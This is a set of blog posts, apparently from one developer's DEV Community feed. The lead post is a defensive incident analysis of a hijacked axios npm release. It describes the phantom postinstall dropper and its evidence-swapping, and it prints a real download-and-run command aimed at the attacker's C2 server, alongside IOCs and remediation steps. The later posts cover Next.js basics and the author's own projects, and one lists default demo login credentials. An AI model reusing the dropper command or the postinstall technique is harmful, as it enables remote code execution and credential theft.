DEV Community: VIKAS

axios Was Compromised on npm — What Happened, How It Works, and What You Must Do Right Now

VIKAS — Wed, 01 Apr 2026 11:17:36 +0000

TL;DR — axios@1.14.1 and axios@0.30.4 were compromised on March 31, 2026. A hijacked maintainer account published malicious versions that silently install a Remote Access Trojan on macOS, Windows, and Linux — and self-destruct to avoid detection. If you ran npm install in the last 24 hours, check your system NOW.

The Package That Powers the Internet Just Got Weaponized

axios has over 100 million weekly downloads. It's in nearly every JavaScript project on the planet — startups, enterprises, open source foundations, CI pipelines, and developer laptops. On the morning of March 31, 2026, two versions of it became weapons.

This wasn't a theoretical supply chain vulnerability. It was a live, operational attack. A cross-platform Remote Access Trojan was delivered to real developer machines. And the most terrifying part? npm audit shows nothing. npm list reports a clean version number. The malware self-destructs after running.

This article walks you through exactly what happened, how the attack technically works, how to check if you're compromised, and what permanent changes you should make to your workflow.

What Happened — The Attack Timeline

The operation was pre-staged 18 hours in advance. This was not opportunistic. Every artifact was purpose-built.

Timestamp (UTC)	Event
Mar 30 · 05:57	`plain-crypto-js@4.2.0` published — a clean decoy to establish publishing history
Mar 30 · 23:59	`plain-crypto-js@4.2.1` published — the malicious payload added
Mar 31 · 00:21	`axios@1.14.1` published via hijacked `jasonsaayman` account
Mar 31 · 01:00	`axios@0.30.4` published — legacy 0.x branch also poisoned
Mar 31 · ~03:15	npm unpublishes both malicious versions. `latest` reverts to `1.14.0`
Mar 31 · 03:25	npm initiates security hold on `plain-crypto-js`
Mar 31 · 04:26	npm publishes security-holder stub `plain-crypto-js@0.0.1-security.0`

Both poisoned releases were live for less than 3 hours. But 3 hours is more than enough time with 100M weekly downloads.

Step 1 — Account Hijack: The Entry Point

The attacker compromised the jasonsaayman npm account — the primary maintainer of axios. The account's registered email was changed to an attacker-controlled ProtonMail address: ifstap@proton.me.

Here's what makes this forensically detectable. Every legitimate axios 1.x release uses npm's OIDC Trusted Publisher mechanism — cryptographically tied to a verified GitHub Actions workflow. The malicious 1.14.1 breaks that pattern entirely:

// axios@1.14.0 — LEGITIMATE
"_npmUser": {
  "name": "GitHub Actions",
  "email": "npm-oidc-no-reply@github.com",
  "trustedPublisher": {
    "id": "github",
    "oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
  }
}

// axios@1.14.1 — MALICIOUS
"_npmUser": {
  "name": "jasonsaayman",
  "email": "ifstap@proton.me"
  // No trustedPublisher. No gitHead. No corresponding GitHub commit or tag.
}

There is no commit, no tag, no release in the axios GitHub repository corresponding to 1.14.1. The release exists only on npm. The attacker used a stolen long-lived classic npm access token — not the ephemeral OIDC token used by legitimate CI releases.

Step 2 — The Fake Dependency: `plain-crypto-js@4.2.1`

The actual malware was not inside axios. It was delivered through a phantom dependency.

The attacker added plain-crypto-js: "^4.2.1" to axios's package.json. This package — which never appears in any legitimate axios version — masquerades as the well-known crypto-js library. It clones all 56 source files bit-for-bit from the real crypto-js@4.2.0, making diff-based analysis find nothing suspicious.

The entire difference between the decoy (4.2.0) and the weapon (4.2.1) is three files:

File	In 4.2.0	In 4.2.1
`package.json`	No `scripts` section	`"postinstall": "node setup.js"` added
`setup.js`	Not present	4.2 KB obfuscated RAT dropper
`package.md`	Not present	Clean JSON stub for evidence destruction

The dependency injection diff in axios is equally surgical — exactly one file changed between 1.14.0 and 1.14.1:

# axios/package.json
- "version": "1.14.0",
+ "version": "1.14.1",
  "dependencies": {
    "follow-redirects": "^2.1.0",
    "form-data": "^4.0.1",
    "proxy-from-env": "^2.0.0",
+   "plain-crypto-js": "^4.2.1"
  }

A grep across all 86 files in axios@1.14.1 confirms: plain-crypto-js is never imported or required anywhere in the axios source. Its only purpose is to trigger the postinstall hook.

Step 3 — The RAT Dropper: `setup.js`

setup.js is a minified, obfuscated Node.js file. All sensitive strings — module names, OS identifiers, the C2 URL, shell commands — are stored encoded in an array and decoded at runtime using a two-layer scheme: a XOR cipher followed by base64 decode with string reversal.

Once decoded, the dropper's logic is straightforward and terrifying.

The C2 Server

http://sfrclak.com:8000/6202033

The 6202033 is a campaign tracking ID. The attacker receives separate callbacks per OS using distinct POST bodies:

macOS → packages.npm.org/product0
Windows → packages.npm.org/product1
Linux → packages.npm.org/product2

The packages.npm.org/ prefix is deliberate — it mimics legitimate npm registry traffic in network logs and SIEMs.

Platform-Specific Payloads

macOS — Writes an AppleScript to /tmp/6202033, executes it via nohup osascript, which downloads the RAT binary to /Library/Caches/com.apple.act.mond (named to mimic an Apple system daemon), makes it executable, and launches it via /bin/zsh. The script self-deletes.

Windows — Locates PowerShell via where powershell, copies it to %PROGRAMDATA%\wt.exe (disguised as Windows Terminal), writes a VBScript to temp, executes it via cscript //nologo in a hidden window. The VBScript fetches a PowerShell stage-2 payload and self-deletes. %PROGRAMDATA%\wt.exe persists across reinstalls — this is the Windows persistence mechanism.

Linux — Direct curl + Python chain:

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \
  && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

The Execution Speed

The C2 contact happens 2 seconds into npm install — before npm has finished resolving all dependencies. The nohup process then persists as a detached daemon (re-parented to PID 1) that continues running in subsequent workflow steps, long after npm completes.

Anti-Forensics: The Evidence Swap

After launching the platform payload, setup.js performs three cleanup steps:

Deletes itself — fs.unlink(__filename)
Deletes package.json — removes the file containing "postinstall": "node setup.js"
Renames package.md → package.json — installs the pre-staged clean stub

The clean stub reports version 4.2.0 — not 4.2.1. So after infection:

$ npm list plain-crypto-js
myproject@1.0.0
└── plain-crypto-js@4.2.0   # ← reports 4.2.0, not 4.2.1. The dropper already ran.

Post-infection, npm audit is clean. npm list looks clean. The only forensic artifact is the existence of the node_modules/plain-crypto-js/ directory — because this package is not a dependency of any legitimate axios version. Its presence alone is proof of compromise.

Am I Affected? — Check Right Now

Run these commands in every project that uses axios:

Step 1 — Check for malicious axios versions

npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"

Step 2 — Check for the dropper directory

ls node_modules/plain-crypto-js 2>/dev/null && echo "⚠️  POTENTIALLY COMPROMISED"

If this directory exists at all, the dropper ran. The version number inside is unreliable — it was replaced with a clean stub.

Step 3 — Check for RAT artifacts

# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "🚨 COMPROMISED"

# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "🚨 COMPROMISED"

# Windows (cmd.exe)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED

Step 4 — Check your CI/CD history

Review any pipeline logs for npm install runs between March 31 00:21 UTC and March 31 03:15 UTC. Any pipeline that installed axios@1.14.1 or axios@0.30.4 should be treated as compromised and all injected secrets rotated immediately.

Remediation — Step by Step

1. Downgrade to a safe version and pin it

# For 1.x users
npm install axios@1.14.0

# For 0.x users
npm install axios@0.30.3

2. Lock it with overrides to prevent transitive re-resolution

{
  "dependencies": { "axios": "1.14.0" },
  "overrides":    { "axios": "1.14.0" },
  "resolutions":  { "axios": "1.14.0" }
}

3. Remove the malicious package and reinstall clean

rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts

4. If RAT artifacts found — treat as full system compromise

Do not attempt to clean in place. Rebuild from a known-good state and rotate all credentials that were accessible on that system:

npm tokens
AWS / GCP / Azure access keys
SSH private keys
GitHub personal access tokens
All .env file secrets
CI/CD pipeline secrets

5. Block the C2 domain at the network level

# Linux — firewall block
iptables -A OUTPUT -d 142.11.206.73 -j DROP

# macOS/Linux — hosts file block
echo "0.0.0.0 sfrclak.com" >> /etc/hosts

Indicators of Compromise (IOCs)

Malicious npm Packages

Package	Version	SHA
axios	1.14.1	`2553649f232204966871cea80a5d0d6adc700ca`
axios	0.30.4	`d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71`
plain-crypto-js	4.2.1	`07d889e2dadce6f3910dcbc253317d28ca61c766`

Network IOCs

Indicator	Value
C2 domain	`sfrclak.com`
C2 IP	`142.11.206.73`
C2 URL	`http://sfrclak.com:8000/6202033`

File System IOCs

Platform	Path
macOS	`/Library/Caches/com.apple.act.mond`
Windows (persistent)	`%PROGRAMDATA%\wt.exe`
Windows (temp)	`%TEMP%\6202033.vbs`, `%TEMP%\6202033.ps1`
Linux	`/tmp/ld.py`

Safe Versions

Package	Safe Version	SHA
axios	1.14.0	`7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb`
axios	0.30.3	(safe baseline)

What This Attack Teaches Us About Supply Chain Security

This incident is not just an axios story. It's a blueprint that will be reused.

The threat model has fundamentally shifted

The attacker didn't touch your code. They didn't exploit your application. They compromised a package your app trusts unconditionally. Every npm install is an implicit trust decision — and most teams make that decision dozens of times a day without thinking about it.

`npm audit` is not enough

npm audit checks for known CVEs in declared dependencies. It cannot detect a phantom dependency injected at the registry level, especially one that self-destructs its own evidence. Audit gives you a false sense of security for this class of attack.

`postinstall` hooks are the attack surface

The entire kill chain relies on one mechanism: postinstall scripts. npm executes these automatically during npm install. They run with the same permissions as the process that invoked npm — which on a developer machine often means full user-level access to credentials, SSH keys, and cloud tokens.

The permanent fix: `--ignore-scripts` in CI

# In your CI pipeline — add this permanently
npm ci --ignore-scripts

This prevents ALL postinstall, preinstall, and lifecycle scripts from running during automated builds. For most production CI pipelines, you don't need these hooks — and disabling them eliminates the entire attack surface this incident exploited.

Trade-off: Some packages (native modules, Puppeteer, etc.) require postinstall scripts. Audit your dependencies and re-enable specific ones if required.

Prefer OIDC Trusted Publishing over long-lived tokens

The attacker used a stolen long-lived npm access token. The legitimate axios releases used OIDC ephemeral tokens tied to specific GitHub Actions workflows — tokens that cannot be stolen because they expire after a single use.

If you publish packages to npm, configure Trusted Publishing. It makes this exact attack vector impossible.

Lock your dependencies — actually lock them

# Commit your lockfile. Always.
git add package-lock.json
git commit -m "chore: update lockfile"

# Use npm ci in production, not npm install
npm ci  # Respects lockfile exactly. No surprise resolutions.

npm install can resolve to a newer patch version if your semver range allows it. npm ci installs exactly what's in the lockfile. The malicious axios@1.14.1 would have been caught by a lockfile that pinned 1.14.0.

The Broader Picture: This Is Becoming Normal

This is among the most operationally sophisticated supply chain attacks documented against a top-10 npm package. Three OS payloads pre-built. A decoy package published 18 hours early to establish publishing history. A version number spoofing trick in the self-destruct routine. C2 traffic disguised as npm registry communication.

But the playbook itself is not new. We've seen it in event-stream (2018), ua-parser-js (2021), node-ipc (2022), and now axios (2026). Each attack is more sophisticated than the last.

The JavaScript ecosystem's open publishing model is its greatest strength and its greatest liability. Anyone can publish. Maintainers burn out and sell or lose access to their accounts. A package with 100 million weekly downloads can be weaponized in minutes.

The question isn't whether this will happen again. It's whether your team will be ready when it does.

Quick Reference Checklist

□ Checked npm list for axios@1.14.1 and axios@0.30.4
□ Checked for node_modules/plain-crypto-js/ directory
□ Checked for platform-specific RAT artifacts
□ Downgraded to axios@1.14.0 / 0.30.3
□ Added "overrides" block to package.json
□ Removed plain-crypto-js from node_modules
□ Reviewed CI/CD pipeline logs for affected time window
□ Rotated all credentials if dropper ran
□ Added --ignore-scripts to CI pipeline
□ Committed and locked package-lock.json
□ Blocked sfrclak.com at network/DNS level

Resources

Verified and sourced from the official StepSecurity technical analysis published March 31, 2026, and the axios GitHub issue #10604. All IOCs, SHA hashes, timestamps, and code snippets are drawn directly from the primary source investigation.

If this helped you secure your systems, drop a ❤️ and share it with your team. The faster this spreads, the more developers stay protected.

The Only Next.js Beginner Guide You Actually Need

VIKAS — Mon, 16 Mar 2026 11:01:08 +0000

The Practical Guide to Understanding Next.js Fast⚡

If you're starting with Next.js, you’ll hear many terms thrown around:

SSR
SSG
CSR
App Router
Pages Router
Server Components
API Routes

It sounds complicated.

But the truth is: Next.js becomes simple once you understand a few core ideas.

This guide focuses on the 80/20 fundamentals you actually need to start building real apps.

1. What Next.js Actually Is

At its core:

Next.js = React + Backend + Routing + Performance

React alone helps you build UI components.

Next.js adds:

File-based routing
Server rendering
Built-in APIs
Performance optimizations
Full-stack capabilities

Which means you can build entire applications in one framework.

2. Creating a Next.js App

The easiest way to start:

npx create-next-app@latest my-next-app
cd my-next-app
npm run dev

Now open:

http://localhost:3000

You now have a running Next.js application.

3. Next.js Project Structure

Modern Next.js uses the App Router.

Typical structure:

app/
  layout.js
  page.js
  blog/
    page.js

components/
lib/
public/

Key idea:

Folders = Routes
page.js = UI of the route

Example:

app/about/page.js

Automatically becomes:

/about

No router setup required.

4. Pages Router vs App Router

Next.js currently supports two routing systems.

Pages Router (Older System)

Structure:

pages/
  index.js
  about.js

Route mapping:

pages/index.js → /
pages/about.js → /about

This system introduced functions like:

getServerSideProps
getStaticProps

It still works but App Router is now the recommended approach.

App Router (Modern System)

Introduced in Next.js 13+.

Structure:

app/
  page.js
  blog/
    page.js

Advantages:

Server Components
Better data fetching
Layout system
Streaming
Improved performance

For new projects, always prefer App Router.

5. Rendering Strategies in Next.js

One of the most important things to understand in Next.js is how pages render.

There are three main strategies.

6. CSR — Client Side Rendering

This is the traditional React approach.

The browser loads JavaScript first, then renders the UI.

Example:

"use client"
import { useEffect, useState } from "react"

export default function Users() {
  const [users, setUsers] = useState([])

  useEffect(() => {
    fetch("/api/users")
      .then(res => res.json())
      .then(setUsers)
  }, [])

  return <div>{users.length} users</div>
}

Flow:

Browser loads page
↓
JavaScript executes
↓
Data fetched
↓
UI renders

Downside:

slower first load
weaker SEO

7. SSR — Server Side Rendering

With SSR, the server generates the HTML first.

The browser receives a fully rendered page.

Flow:

Request page
↓
Server fetches data
↓
Server renders HTML
↓
Browser receives ready page

Benefits:

better SEO
faster initial render
fresh data per request

Example (Pages Router):

export async function getServerSideProps() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return { props: { posts } }
}

8. SSG — Static Site Generation

SSG generates pages during build time.

Flow:

Project build
↓
Data fetched once
↓
HTML generated
↓
Served instantly to users

Perfect for:

blogs
documentation
marketing pages

Example (Pages Router):

export async function getStaticProps() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return {
    props: { posts }
  }
}

9. Data Fetching in the App Router

The App Router simplifies data fetching dramatically.

You can fetch data directly inside components.

Example:

export default async function Page() {
  const res = await fetch("https://api.example.com/posts")
  const posts = await res.json()

  return <div>{posts.length} posts</div>
}

Because this runs on the server automatically, no special functions are needed.

10. Server Components vs Client Components

By default, App Router components are Server Components.

That means they run on the server.

Benefits:

smaller bundle size
better performance
secure data fetching

But if you need interactivity, you must use a Client Component.

Example:

"use client"
import { useState } from "react"

export default function Counter() {
  const [count, setCount] = useState(0)

  return (
    <button onClick={() => setCount(count + 1)}>
      {count}
    </button>
  )
}

Simple rule:

Server Components → data fetching
Client Components → interactivity

11. API Routes (Built-in Backend)

Next.js can also create backend endpoints.

Example file:

app/api/users/route.js

Code:

export async function GET() {
  return Response.json({ users: [] })
}

Your API endpoint becomes:

/api/users

This means you can build frontend + backend in the same project.

12. The Mental Model

Once you understand this, Next.js becomes much easier.

Next.js = React + Server

Rendering strategies:

CSR → rendered in browser
SSR → rendered on server per request
SSG → rendered at build time

Routing systems:

Pages Router → older system
App Router → modern system

Final Thoughts

Next.js is no longer just a React framework.

It's becoming a complete full-stack platform.

Once you understand:

Routing
Rendering strategies
Server vs Client components
Data fetching
API routes

You can start building production-ready applications quickly.

Focus on these first when learning Next.js:

App Router
Server Components
Data Fetching
API Routes
Deployment

Everything else builds on top of these.

If you're currently learning Next.js, this foundation will take you much further than memorizing random tutorials.

Holi Overlay — Add Vibrant Holi Celebration Effects to Any Website

VIKAS — Tue, 03 Mar 2026 18:01:52 +0000

🎉 Holi Overlay — Bring Your Website Alive With Festive Colors! 🌈

A JavaScript overlay that brings colorful Holi effects — water balloons, pichkaari streams, ambient gradients — to your web project in one line of code!

I just shipped a fun, customizable Holi festival overlay that you can drop into any website in seconds!

👉 Live Demo
📦 npm Package
💻 Source Code

🚀 What Is Holi Overlay?

Holi Overlay is a lightweight, zero-dependency animation library that renders a full-screen Holi celebration on your site — complete with vibrant water balloons, pichkaari color streams, and realistic splash particles. It's perfect for:

🎊 Festive pages

🎁 Seasonal campaigns

🎯 Interactive celebrations

🎨 Colorful UI experiences

All of this runs without blocking interactions — users can still click and scroll while the effects play!

🧩 What's Inside the Overlay

Once active, Holi Overlay gives you:

💦 Water balloons flying & bursting with splash physics
🌈 Pichkaari color trails with particle streams
✨ Ambient gradients & powder clouds
🧘‍♂️ Non-interactive canvas overlay (pointer-events: none)

📦 Installation

🛠️ Via npm

npm install holi-overlay

// In your JavaScript
import HoliOverlay from 'holi-overlay';

// Start the overlay
HoliOverlay.start({
  maxBalloons: 15,
  opacity: 0.95
});

// Toggle on/off
HoliOverlay.toggle();

// Check status
if (HoliOverlay.isRunning()) {
  console.log('🎨 Holi mode active!');
}

📌 CDN (No Build Tools Needed)

Simply inject 2 lines before </body>:

<script src="https://cdn.jsdelivr.net/npm/holi-overlay@latest/dist/holi-overlay.umd.js"></script>
<script>HoliOverlay.start();</script>

#webdev #javascript #opensource #npm #overlay #animation #canvas #css #html

I Built My Studio Website (Zyklabs) — Roast It, Review It, Improve It

VIKAS — Tue, 03 Mar 2026 09:03:04 +0000

🎨 A Product-Focused Studio Website + Added a Holi Overlay.

I wanted to build something beyond a portfolio — so I created Zyklabs, a product-focused web & SaaS studio website.

And since Holi is around the corner, I experimented with a colorful festival overlay animation too.

This post is both a showcase and a request for feedback from the dev community.

🌐 Live Website

👉 Zyklabs.in

Zyklabs is designed as a product engineering studio, not a traditional freelance portfolio or generic agency site.

The core idea:

Build fast. Scale smart.

🧠 Why I Built Zyklabs

After building multiple projects as a MERN developer, I realized something:

Most developer portfolios showcase skills, but businesses care about solutions.

So instead of making another portfolio, I asked:

What would a startup founder want to see?
What builds trust instantly?
How can a developer site feel like a real product company?

Zyklabs became my experiment in moving from:

🏗️ What Zyklabs Is About

Zyklabs focuses on building scalable digital systems such as:

Custom Web Applications
SaaS Platforms
Progressive Web Apps
API-Driven Systems
Enterprise Dashboards
Mobile Applications

The goal was to avoid generic “we build websites” messaging and instead communicate engineering capability.

⚙️ Development Approach

I followed a slightly different process while building the site.

1️⃣ Messaging Before Design

Instead of designing first, I wrote answers to:

Who is this website for?
What problem does it solve?
Why should someone trust it?

Only after that did UI design begin.

2️⃣ Performance-First Frontend

Key goals:

Fast loading
Minimal animation blocking
Clean layout hierarchy
Responsive across devices

Principles followed:

reusable components
minimal JS overhead
scalable layout structure

3️⃣ Conversion-Driven Structure

Each section answers a visitor question:

Section	Visitor Question
Hero	What do you do?
Services	Can you help me?
Process	How do you work?
Pricing	Is this affordable?
CTA	How do I start?

🎨 The Experimental Part — Holi Overlay

Since Holi is coming, I wanted to try something fun but meaningful.

So I added a Holi-themed colorful overlay animation.

Why?

Most SaaS websites feel static.

I wanted to explore:

seasonal UI experiences
culturally contextual design
temporary brand personalization

How It Works (Conceptually)

The overlay adds a fullscreen animation layer above the site:
Features:

floating color particles (gulal effect)
subtle motion
non-blocking interaction
performance-safe animation

The key goal was:

festive without breaking professionalism.

Design Philosophy

I intentionally avoided loud effects.

Zyklabs targets businesses, so the overlay needed to be:

✅ subtle

✅ lightweight

✅ professional

✅ temporary

🧩 Challenges I Faced While Building Zyklabs

Building Zyklabs turned out to be less about coding and more about product thinking.

Here are the real challenges I encountered while turning a developer mindset into a studio experience.

1️⃣ Positioning a Studio Without Looking Like an Agency

One of the hardest problems was messaging.

I didn’t want Zyklabs to feel like:

a freelance portfolio
a generic digital agency
or a template-based service website

But early versions still felt agency-like because the messaging focused on services instead of outcomes.

The challenge became:

How do you communicate “technical partner” instead of “website developer”?

This required rewriting copy multiple times to emphasize:

scalability
product engineering
long-term systems instead of one-time builds.

2️⃣ Building Trust Without Social Proof

Zyklabs is new, which means:

no testimonials
no case studies (yet)
no brand recognition

So I had to rely purely on:

structure
clarity
visual consistency
professional tone

Design had to compensate for missing credibility signals — which is much harder than adding testimonials later.

3️⃣ Writing Copy as a Developer

This was unexpectedly harder than coding.

Developers naturally explain how things work, but businesses care about:

outcomes
growth
reliability
partnership

I had to shift from technical language to value-driven communication.

Example shift:

❌ "Full-stack development services"

✅ "We turn complex ideas into scalable digital products"

4️⃣ Balancing Minimalism vs Business Trust

Too minimal → looks unfinished.

Too detailed → feels cluttered.

Finding the balance between:

modern SaaS aesthetics
business credibility
conversion-focused layout

was an iterative process.

Every section needed to answer a user question without overwhelming them.

5️⃣ Designing for Conversion Without Real User Data

Since Zyklabs is newly launched, there was no analytics or behavioral data.

So layout decisions were based on:

SaaS landing page patterns
startup websites
UX psychology assumptions

This means the current version is partly a hypothesis — waiting for real user feedback.

6️⃣ Adding a Festival Overlay Without Breaking UX

The Holi overlay experiment introduced a unique challenge:

How do you add celebration without hurting professionalism?

Problems I had to consider:

animation performance
distraction vs delight
business audience expectations
mobile responsiveness

The goal was subtle cultural personalization, not visual noise.

7️⃣ Transitioning From “Developer Portfolio” to “Product Identity”

The biggest internal challenge wasn’t technical.

It was mindset.

Moving from:

Building Trust Without Case Studies

Since Zyklabs is new, I relied on:

clarity
structure
consistency

instead of testimonials.

📸 What I’d Love Feedback On

I’d really appreciate honest feedback from the community:

UX & Design

Does the site feel trustworthy?
Is messaging clear?
Any confusing sections?

Developer Perspective

Performance improvements?
Architecture suggestions?
Animation optimization ideas?

Positioning

Does it feel like a studio or agency?
What would increase credibility?

🔮 What’s Next

Planned improvements:

Case studies
Project demos
Founder story section
Engineering blog
More seasonal UI experiments

💬 Why I’m Sharing This

This post isn’t promotion.

I’m documenting the journey of becoming:

Developer → Product Builder → Studio Creator

Sharing early helps improve faster.

🙌 Your Feedback Matters

If you have suggestions, critiques, or ideas — I’d genuinely love to hear them.

👉 https://zyklabs.in

What would you improve first?

🏷️ Tags

#webdev #startup #saas #frontend #showdev #indiehackers #uiux

I Asked Gemini One Question! It Became an Accessibility App

VIKAS — Sun, 01 Mar 2026 14:44:07 +0000

This is a submission for the Built with Google Gemini: Writing Challenge

VisionVoice — From Idea to Impact: Making Signs Speak with AI

What I Built with Google Gemini

Every meaningful project starts with a real-world problem.

While experimenting with Google AI Studio, I asked myself:

What if public signs could literally speak for visually impaired people?

That question became VisionVoice — a multilingual visual accessibility assistant powered by Google Gemini.

VisionVoice helps visually impaired users understand their surroundings by:

📸 Detecting text from real-world signs (emergency notices, directions, warnings)
🌐 Translating content into multiple languages
🔊 Converting text into natural speech narration

🎯 The Goal

Increase independence and safety for visually impaired individuals in public spaces.

🧠 How Gemini Powered the Project

Google Gemini became the core intelligence layer of VisionVoice:

Image → Text extraction
Context understanding
Multilingual translation
Speech-ready output generation

Instead of stitching together multiple AI services, Gemini enabled a unified multimodal pipeline inside Google AI Studio.

This allowed the app to:

Process images
Understand context
Translate meaning
Generate narration

All within a single AI-driven workflow.

✨ Key Features

Image-to-Text Recognition — reads real-world signage
Multilingual Translation — removes language barriers
Text-to-Speech Narration — accessibility-first interaction
Mobile-First UI — quick interaction in real environments

VisionVoice transforms static signs into interactive spoken guidance.

Demo

🌍 Live App URL

💻 GitHub Repository

🎥 Youtube Video Demo

What I Learned

This project changed how I think about building products with AI.

🧩 1. Multimodal AI Changes Product Thinking

Traditional applications process a single input type.

Gemini allowed me to design around human interaction flows, not technical pipelines:

Image → Understanding → Language → Voice

It felt natural — almost human.

⚙️ 2. Prompt Engineering is Product Design

Prompts are not just instructions.

They are UX decisions.

Small refinements dramatically improved:

Translation accuracy
Context interpretation
Narration clarity

I realized AI behavior is part of system architecture.

🌍 3. Accessibility is a Design Mindset

Building for accessibility forced me to rethink assumptions:

Minimal UI > Feature-heavy UI
Speed > Aesthetic polish
Audio clarity > Visual complexity

AI becomes most powerful when it removes friction for users who need it most.

🚀 4. AI Accelerates Solo Development

Gemini acted as a:

Research assistant
Architecture reviewer
Debugging partner
Rapid prototyping engine

I shipped VisionVoice faster than any previous project I’ve built.

Google Gemini Feedback

✅ What Worked Extremely Well

Multimodal reasoning felt natural and powerful
Fast prototyping inside Google AI Studio
Strong image understanding for real-world inputs
Easy experimentation without heavy setup

Gemini reduced the gap between:

Idea → Prototype → Working Product

⚠️ Where I Faced Friction

Output consistency required prompt tuning
Blurred or low-light images needed additional handling logic
Audio formatting occasionally required post-processing

These challenges helped me understand how to design AI-assisted systems thoughtfully, rather than relying blindly on AI output.

🔮 What’s Next for VisionVoice

This challenge made me realize VisionVoice can evolve beyond a prototype:

📱 Real-time mobile camera mode
🧭 Navigation assistance
🗣️ Offline accessibility support
🤖 Context-aware environmental guidance

My goal is to grow VisionVoice into a real AI-powered accessibility companion.

Final Reflection

The Built with Google Gemini Writing Challenge is about reflection — not just shipping code.

VisionVoice taught me that AI isn’t only about automation.

It’s about amplifying human ability.

Sometimes, the most powerful software doesn’t add new screens…

…it gives someone the ability to understand the world around them.

devchallenge #geminireflections #gemini #ai #accessibility

How I Built a Production-Ready Utility Web App Using GitHub Copilot CLI

VIKAS — Sun, 15 Feb 2026 10:28:07 +0000

This is a submission for the GitHub Copilot CLI Challenge

What I Built

I built Quick-Tools — a full suite of practical utility tools in a modern Next.js + TypeScript web app.

Quick-Tools gives developers and productivity-focused users a set of essential helpers like:

UUID generator
Password & Hash generator
JSON formatter
Regex tester
Bill Splitter & Tip Calculator
EMI Calculator
And more…

📦 All tools are modular, responsive, and built with reusable components.

🎯 This project showcases clean architecture, strong typing, automated testing, PWA support, analytics integration, and a polished UI.

👉 Source code: https://github.com/DevCodeHub99/quick-tools

Demo

🌐 Live Product Demo

👉 https://quick-tools99.vercel.app/

Quick-Tools is fully responsive and optimized for desktop and mobile devices.

🖥️ Dashboard Overview

🔐 Password Generator

🧾 JSON Formatter

💰 Calculator Tools (Bill Splitter / EMI)

Here’s a walkthrough of my development flow using GitHub Copilot CLI:

🚀 Starting the Copilot CLI Session

I initialized the Copilot CLI and trusted my project directory so Copilot could read and assist.

🧠 Planning & Task Breakdown

Copilot CLI helped plan every stage — component creation, responsive design improvements, tests, analytics, PWA, and deployment.

💻 Iterative Development

Copilot CLI broke down tasks into incremental changes and guided me through edits like:

Optimizing UI components for mobile responsiveness
Adding input validation
Updating global styles

🧪 Testing Integration

With Copilot CLI, I scaffolded tests, ran them with Vitest, and confirmed test status — providing confidence in every commit.

📦 Deployment Plan

Copilot CLI generated a deployment summary and CI checklist — ready for Vercel auto-deploy.

My Experience with GitHub Copilot CLI

Using GitHub Copilot CLI transformed my typical development workflow into a guided, context-aware build process:

📋 Contextual Planning

Instead of guessing my next steps, Copilot CLI interpreted my goals and produced a phase-by-phase plan showing:

UI refactors
Feature additions
Test strategy
PWA and analytics integration
Deployment strategy

This made the project more organized and predictable.

✨ Better Quality Code

Copilot CLI guided edits with tight context awareness of:

File structure
TypeScript types
Tailwind classes
Reusable components

This saved time and reduced debugging cycles.

📈 Enhanced Productivity

With Copilot CLI, I felt like I had a second pair of eyes during development — always suggesting the why as well as the how.

What’s Next?

I’d love to:
✔ Add live API tools

✔ Publish a hosted demo publicly

✔ Expand tool modules based on user feedback

Thanks for reviewing my submission! 🚀

Feel free to check out the repo and live hosted demo URL. let me know if you want to add somthing else. I'am here to help you!

Building a GST-Compliant Invoicing System with Next.js and MongoDB

VIKAS — Wed, 21 Jan 2026 14:41:19 +0000

How I built InvoiceDesk-a production-ready invoicing app with automatic GST calculations, PDF generation, and smart performance optimizations for Indian businesses.

From Messy Prototype to Production Invoicing App

Building invoicing apps sounds simple until you hit GST compliance, PDF generation, auth security, and performance at scale. Here's how InvoiceDesk went from "barely working" to production-ready for Indian SMBs.

The GST Headache Most Apps Ignore

Indian GST isn't just "add 18% tax." You need:

CGST+SGST (9%+9%) for same-state transactions
IGST (18%) for cross-state transactions

The system auto-detects this by comparing the first 2 digits of business vs client GSTINs. Users just enter GST numbers—tax math happens instantly in real-time previews.

Split Stores = 10x Performance

Problem: One giant Zustand store caused 50+ unnecessary re-renders per minute. Product updates broke invoice pages. Dashboard flickered on every action.

Fix: Split into domain stores (auth, products, clients, invoices). Each lazy-loads independently with caching. Result: buttery smooth UX, no more cascade re-renders.

Data Retention Saved the Free Tier

MongoDB Atlas free tier = 512MB. Invoices eat storage fast.

Policy:

Current month: full access
Last month: archived summaries
3+ months: auto-delete (with export option)

API routes enforce date ranges. Database stays lean, queries stay <10ms.

Auth That Actually Protects Money

Dual-token JWT (15m access + 7d refresh) with HTTP-only cookies. No localStorage nonsense. Middleware auto-refreshes. Rate limited. bcrypt'd passwords. Multi-tenant isolation from day one.

PDFs That Match Your UI Pixel-for-Pixel

Tried Puppeteer (too slow), react-pdf (styling hell). Landed on html2canvas + jsPDF. Screenshot the live invoice component at 2x scale. Same template for screen + PDF = perfect consistency.

The UX Details That Feel Premium

Searchable client dropdowns (100+ clients? No problem)
Live tax calculations as you type quantities/prices
Optimistic updates—UI reacts instantly, server syncs quietly
Mobile-first Tailwind grids that work everywhere
Sequential invoice numbers (INV-2026-0001 format, per user/year)

Production Checklist That Matters

✅ 95+ Lighthouse across metrics
✅ MongoDB indexes on userId + dates
✅ Lazy loading per domain
✅ HTTP-only cookies + CSRF protection
✅ Data retention prevents bloat
✅ Multi-tenant isolation in every query
✅ Modern formats (WebP/AVIF images)
✅ Gzip/Brotli compression

What I'd Do Differently Next Time

Start with split stores—don't refactor later
Build searchable selects early—clients pile up fast
Plan retention Day 1—512MB fills quicker than you think
Use the same component for preview + PDF always

Steal This for Your Next Project

Open source, 5-minute setup. Perfect for learning GST flows, multi-tenant patterns, or performance optimization.

git clone → npm i → npm run seed → http://localhost:3000

Default login: admin@sndt.com / Admin@123

Indian devs building financial tools: What GST headaches have you solved? What's your go-to PDF strategy? Drop your war stories below—someone's gonna steal your patterns (in a good way).

